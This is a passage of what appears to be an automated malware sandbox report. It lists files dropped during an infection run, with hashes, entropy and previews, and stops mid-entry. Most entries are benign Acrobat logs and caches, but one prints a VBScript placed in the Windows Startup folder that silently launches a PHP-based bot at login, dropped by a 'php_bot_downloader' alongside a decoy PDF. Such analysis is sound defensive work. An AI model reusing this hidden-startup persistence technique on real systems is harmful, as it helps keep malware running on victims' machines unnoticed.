Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A91grbk69_c8ndrg_230.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-05 04-44-05-242.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.345946398610936
Encrypted:	false
SSDEEP:	384:zHIq8qrq0qoq/qUILImCIrImI9IWdFdDdoPtPTPtP7ygyAydy0yGV///X/J/VokV:nNW
MD5:	8947C10F5AB6CFFFAE64BCA79B5A0BE3
SHA1:	70F87EEB71BA1BE43D2ABAB7563F94C73AB5F778
SHA-256:	4F3449101521DA7DF6B58A2C856592E1359BA8BD1ACD0688ECF4292BA5388485
SHA-512:	B76DB9EF3AE758F00CAF0C1705105C875838C7801F7265B17396466EECDA4BCD915DA4611155C5F2AD1C82A800C1BEC855E52E2203421815F915B77AA7331CA0
Malicious:	false
Preview:	SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:088+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.330392107006663
Encrypted:	false
SSDEEP:	384:4ghn8ghK4ghKVghKQghKcghKxghKuVgh01gh0egh01Sgh0sgh0ggh0ughCLghCtb:ZhNhGh7hehUhhhlmh/hghsrhghmhmh5m
MD5:	1935B63B9FFA3DC86736074C38089368
SHA1:	3DA0A2C8512484A9F5F31B599AF287A390257233
SHA-256:	98DD5C20B117F5E1DC54A596958DFDA87720AC8FAA09D856F946416A9C33B66B
SHA-512:	260A55D00DAAB5FC7DB71AA7DFD6E5AE6EFB360233C33054C2725B97045C41DCA169D8EAF37FA7C9262CA6138D7998A8C237E27AD7AF6D2E1F0F281584B9CE48
Malicious:	false
Preview:	SessionID=35294104-5f19-4644-9995-08c4886d5af6.1736070245284 Timestamp=2025-01-05T04:44:05:284-0500 ThreadID=8320 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=35294104-5f19-4644-9995-08c4886d5af6.1736070245284 Timestamp=2025-01-05T04:44:05:289-0500 ThreadID=8320 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=35294104-5f19-4644-9995-08c4886d5af6.1736070245284 Timestamp=2025-01-05T04:44:05:289-0500 ThreadID=8320 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=35294104-5f19-4644-9995-08c4886d5af6.1736070245284 Timestamp=2025-01-05T04:44:05:289-0500 ThreadID=8320 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=35294104-5f19-4644-9995-08c4886d5af6.1736070245284 Timestamp=2025-01-05T04:44:05:289-0500 ThreadID=8320 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.382445617555816
Encrypted:	false
SSDEEP:	768:anddBuBYZwcfCnwZCnR8Bu5hx18HoCnLlAY+iCBuzhLCnx1CnPrRRFS10l8gT2r5:PT99BI92vIYfoTKzoT9wDkvTzn2zKU
MD5:	D40A077E7A169861FEBB0048E46A7C45
SHA1:	E637CBAA5C68E5F9CE096133411FCDFB0DE0D268
SHA-256:	6757B58669AD8A7E5DD64707BE01EA9B64B750BDE2599C49000355840D7D5DB4
SHA-512:	3DD8C74284C545ACD595EA9B2D55196CB16FB9070453FA46041857740B9C70D3737F29F065FCB1658932B0E00DC8840C3DEC0E5345CC8F1674B5A7292278D637
Malicious:	false
Preview:	03-10-2023 12:50:40:.---2---..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : *************************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : ***********************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Starting NGL..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..03-10-2023 12:50:40:.Closing File..03-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\9488d07b-a7eb-48ad-a7b2-ebd7873f4d4a.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\a53a7a67-f4ec-4289-b2ca-6dcce184ddc2.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/ewYIGNPgOWL07oXGZYydpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:WwZGDWLxXGZYy3mlind9i4ufFXpAXkru
MD5:	B5A02C3D681A7AB59BFAC60042210B9E
SHA1:	28F87F32A4AC3381299901EDD03BB1C4BFD4C053
SHA-256:	B9E5CD9C8234873C74D1004A7DE9D375BE42DB3ECA0F2A29CCEB21C5A88375AC
SHA-512:	EF8F24646CEEF80D444C526439FD300555F5B2E5773534ED02BA5B0A6ADB87B5D3B23034095E232E4DB2E2AA777A672D93A4E3F715E41867CA42A72D1E5A632A
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\aca49c1b-3a38-4994-9dc5-5382fa8e6f37.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R077WLaGZ7wYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs03WLaGZw
MD5:	8B9FA2EC5118087D19CFDB20DA7C4C26
SHA1:	E32D6A1829B18717EF1455B73E88D36E0410EF93
SHA-256:	4782624EA3A4B3C6EB782689208148B636365AA8E5DAF00814FA9AB722259CBD
SHA-512:	662F8664CC3F4E8356D5F5794074642DB65565D40AC9FEA323E16E84EBD4F961701460A1310CC863D1AB38849E84E2142382F5DB88A0E53F97FF66248230F7B9
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\f70ada5b-6da6-4c96-a81a-9d70bb0b208f.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	98682
Entropy (8bit):	6.445287254681573
Encrypted:	false
SSDEEP:	1536:0tlkIi4M2MXZcFVZNt0zfIagnbSLDII+D61S8:03kf4MlpyZN+gbE8pD61L
MD5:	7113425405A05E110DC458BBF93F608A
SHA1:	88123C4AD0C5E5AFB0A3D4E9A43EAFDF7C4EBAAF
SHA-256:	7E5C3C23B9F730818CDC71D7A2EA01FE57F03C03118D477ADB18FA6A8DBDBC46
SHA-512:	6AFE246B0B5CD5DE74F60A19E31822F83CCA274A61545546BDA90DDE97C84C163CB1D4277D0F4E0F70F1E4DE4B76D1DEB22992E44030E28EB9E56A7EA2AB5E8D
Malicious:	false
Preview:	0...u0...\...0....H........0i1.0...U....US1.0...U....DigiCert, Inc.1A0?..U...8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1..240807121815Z..240814121815Z0..~.0!.......0.E....[0...210531000001Z0!...7g...(..^`.x.l...210531000001Z0!...\./M.8..>.f.....210531000001Z0!...B.Sh...f...s.0..210531000001Z0!..../n...h..7....>..210601000001Z0!....0..>5..aN.u{D..210601000001Z0!...-...qpWa.!n.....210601000001Z0!..."f...\..N.....X..210601000001Z0!...in.H...[u...]....210602000001Z0!......`......._.]...210602000001Z0!...{..e..i......=..210602000001Z0!......S....fNj'.wy..210602000001Z0!......C.lm..B.*.....210602000001Z0!... .}...\|.,dk...+..210603000001Z0!...U.K....o.".Rj..210603000001Z0!.....A...K.ZpK..'h..210603000001Z0!.....&}{ ......l..210603000001Z0!...:.m...I.p.;..v..210604000001Z0!...1"uw3..Gou.qg.q..210607000001Z0!...1.o}...c/...-R}..210608000001Z0!................210608000001Z0!...[.N.d............210609000001Z0!......x..i........210610000001Z0!...(... (..#.^.f...210

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.501268097735403
Encrypted:	false
SSDEEP:	12:yeRLaWQMnFQlRKfdFfBy6T6FYoX0fH8PkwWWOxPLA3jw/fQMlNdP8LOUa:y2GWnSKfdtw46FYfP1icPLHCfa
MD5:	5274D23C3AB7C3D5A4F3F86D4249A545
SHA1:	8A3778F5083169B281B610F2036E79AEA3020192
SHA-256:	8FEF0EEC745051335467846C2F3059BD450048E744D83EBE6B7FD7179A5E5F97
SHA-512:	FC3E30422A35A78C93EDB2DAD6FAF02058FC37099E9CACD639A079DF70E650FEC635CF7592FFB069F23E90B47B0D7CF3518166848494A35AF1E10B50BB177574
Malicious:	false
Preview:	0...0.....0....H........0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G4..240806194648Z..240827194648Z.00.0...U.#..0.......q]dL..g?....O0...U........0....H.............vz..@.Nm...6d...t;.Jx?....6...p...#.[.......o.q...;.........?......o...^p0R.......~....)....i.n;A.n.z..O~..%=..s..W.4.+........G...*..=....xen$_i"s..\...L..4../<.4...G.....L...c..k@.J.rC.4h.c.ck./.Q-r53..a#.8#......0.n......a.-'..S. .>..xAKo.k.....;.D>....sb '<..-o.KE...X!i.].c.....o~.q........D...`....N... W:{.3......a@....i....#./..eQ...e.......W.s..V:.38..U.H{.>.....#....?{.....bYAk'b0on..Gb..-..).."q2GO<S.C...FsY!D....x..]4.....X....Y...Rj.....I.96$.4ZQ&..$,hC..H.%..hE....

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\PHP-8.2.vbs

Download File

Process:	C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\php.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	241
Entropy (8bit):	5.1988325826246875
Encrypted:	false
SSDEEP:	6:jtiGNOlyRVFeEPwknaZ538TR9MNwknaZ538TR9oqvKbEJvwWA:c9lYFeLrH3mRS+rH3mRdJvwWA
MD5:	0A51A1638534D38D0AED713EA385C770
SHA1:	734611E91663E32A14FED95531195965E5C90618
SHA-256:	D3F110DD9333F5F59656BA380BA73B884FC9F680D0A24C421B19031F3EA7021E
SHA-512:	2B9BA240D4F030925BABC4A5BB478ADDF2200D0215D099ADCC60C9162C8FBD432F300218D82DC62698C29BBB4A62FF27A867ACB7C1C2239AC9F52B6E8A156282
Malicious:	true
Preview:	Set oShell = CreateObject ("Wscript.Shell") ..Dim strArgs..strArgs = "cmd /c C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\php.exe C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\php-win.php"..oShell.Run strArgs, 0, false

C:\Users\user\AppData\Roaming\Professional_Social_Media_Report.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.5
Category:	dropped
Size (bytes):	13992
Entropy (8bit):	7.859157294568209
Encrypted:	false
SSDEEP:	192:uKKIwzdRBvoFiyCkub+95r5pE/kJkYMmC53MR/Ii1lAa7XqslQHVLSyIpX3de5wb:0PAojAFoD3MRVCa7XLlQhynSWqC
MD5:	A84ECD0D7CDE3DED019FF7D98E029BC8
SHA1:	CD581933B2D4195A954D4588669384FB777CAC2F
SHA-256:	39ED6A55B0F046C5C61429A5E2C52432C51A5909D9B2DC9D6ABA607BC0C15F30
SHA-512:	6DCB7A97803D1E6DC9899D58686579C76DB280D029C8D79C6C39B7BF095D823A6479AB07E3D415A695EFBBAB41BBA3FC73EFE0092631A3C19542DDDB5C330353
Malicious:	false
Preview:	%PDF-1.5.%.....2 0 obj.<<./Type /Catalog./Pages 4 0 R./OpenAction [5 0 R /FitH null]./PageLayout /OneColumn./AcroForm 6 0 R./Version /1#2E5.>>.endobj.8 0 obj.<<./Filter /FlateDecode./Length 10.>>.stream..x.+......\|..endstream.endobj.9 0 obj.<<./Filter /FlateDecode./Length 10.>>.stream..x.+......\|..endstream.endobj.10 0 obj.<<./Filter /FlateDecode./Length 10.>>.stream..x.+......\|..endstream.endobj.11 0 obj.<<./Filter /FlateDecode./Length 10.>>.stream..x.+......\|..endstream.endobj.12 0 obj.<<./Filter /FlateDecode./Length 10.>>.stream..x.+......\|..endstream.endobj.13 0 obj.<<./Filter /FlateDecode./Length 10.>>.stream..x.+......\|..endstream.endobj.14 0 obj.<<./Filter /FlateDecode./Length 10.>>.stream..x.+......\|..endstream.endobj.15 0 obj.<<./Filter /FlateDecode./Length 761.>>.stream..x....r.0.....{...EgK.Mi..E......A.c......v0..3f@....].9..#.D..._\Y.DR.Wm....n...3..P..$....!B.a.(.J....$'.C.$x..n.0.v$..a.B..7.\5..o!..C<....p.%VB.%........{.^ O.o....W~.+.J.....+..8.\|...a...D..`x..d.Bt..

C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64.zip

Download File

Process:	C:\Users\user\AppData\Roaming\php_bot_downloader_v2-AVERAGE-BOI-CLN.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=store
Category:	dropped
Size (bytes):	31886616
Entropy (8bit):	7.996327176919507
Encrypted:	true
SSDEEP:	786432:4Dz+kmvQr7HvMeqWGbmv9+0/NyvLkuPO/oNGtbogIX+xzBYR6GuSZ:4DzvmYr7HsbaYOYKHzBYR6GP
MD5:	29C9E2CDE366197C69D233D35E7B37EC
SHA1:	3D2F575DBCE04912774D71D89397D993BF60AAFB
SHA-256:	F5651BFB5DE738EA1A0E361EB2057DFAB93E0BAC52B3BEC67DFA7A329E1887E7
SHA-512:	D7EE3C97E72209537519E04E3D2182385E0B3A8BA575F0D581CEE3C1F82ABAD79E74BF02929C9356A93E71473A06AE4E7776E3353272FAF29EFD7FD8FDCB16A9
Malicious:	false
Preview:	PK.........b$Z................php-8.2.11-Win32-vs16-x64/PK..........:W.Y.........'...php-8.2.11-Win32-vs16-x64/deplister.exe.\i\|T....%..M$.....6..@.&N.y.....H@.E$.Y..J..$.I4..(m.b.-...@[..."[....%...F4.&.....o&..]~..../..].=..s.=..s.}..o.,. X..uAh..?.......\|g..\..&...[..[.\.j.Uw....V...9W..p....7c.....,.6##...1.'.l..{/..m.~:...=]..[O..^..gO.........I<......}o6.....m.=...............E..n..!.9J.b...F..ax8.. ....!.'....H..A.P.)^..54~APx.#.P4..n....A....&...&a.g........L.R.._..Z....7...[..8...U...%..~`..~..-x.....Z.L.:.:......E.]...>.....G..[8.'.*!.........Z.\|E.......x_t.\....!.JXq9...+.ou9........E.3...)......2..U&G2..&A.D.F...D..(..?.._rhOA.~.oH-.v.].5.0..&9.s.....$...........2..H&A..r..V.../5.......J{..2.5O....)..j...}o.@K..8...#.......H..A].&y....q.m...IT.[.G.f..uxg...({t..Kl.n..........C.s.6.rmT..~.....xi.V<.2.....hp&.k.l.S..i...T..B...m+/s.}.'.8f.._......I.W.....I.].0.....^.P~..y.<..$.\|.....}.l.....r......oLT.X.y...{.....H.Q.q..,....1H.k.

C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\README.md

Download File

Process:	C:\Windows\System32\tar.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	5215
Entropy (8bit):	5.049213558480258
Encrypted:	false
SSDEEP:	96:LXTqtuZSdgMGEl6edRe4sq+WoWQdrdQR4ks1z4Maj1OQybvb5fEo8v/L4kYfIH:fZAV0hWoWQdJz9RCXn8AH
MD5:	EB21DB12F94395D282CEEA1B89FD96CE
SHA1:	2E9404B1E47D8FBFA93DC9D6E0AA13EEF9262EA6
SHA-256:	093947FE0C56958909B0254B90E5F35C17367E858E85E144518E5913612272E6
SHA-512:	11B35288D941BDD772D1E8E5A20819EACFDA2B59EA32FB18BEA3F10F4B61D1EE8E4E22F473FC095E379AF3517561530B3097B7D74DA477237F71AB52C0998737
Malicious:	false
Preview:	<div align="center">.. <a href="https://php.net">.. <img.. alt="PHP".. src="https://www.php.net/images/logos/new-php-logo.svg".. width="150">.. </a>..</div>....# The PHP Interpreter....PHP is a popular general-purpose scripting language that is especially suited to..web development. Fast, flexible and pragmatic, PHP powers everything from your..blog to the most popular websites in the world. PHP is distributed under the..[PHP License v3.01](LICENSE).....[![Push](https://github.com/php/php-src/actions/workflows/push.yml/badge.svg)](https://github.com/php/php-src/actions/workflows/push.yml)..[![Build status](https://travis-ci.com/php/php-src.svg?branch=master)](https://travis-ci.com/github/php/php-src)..[![Build Status](https://dev.azure.com/phpazuredevops/php/_apis/build/status/php.php-src?branchName=master)](https://dev.azure.com/phpazuredevops/php/_build/latest?definitionId=1&branchName=master)..[![Fuzzing Status](https://oss-fuzz-build-lo

C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\config.json

Download File

Process:	C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\php.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.61499730265925
Encrypted:	false
SSDEEP:	3:YIygXZoC4:YIygpoC4
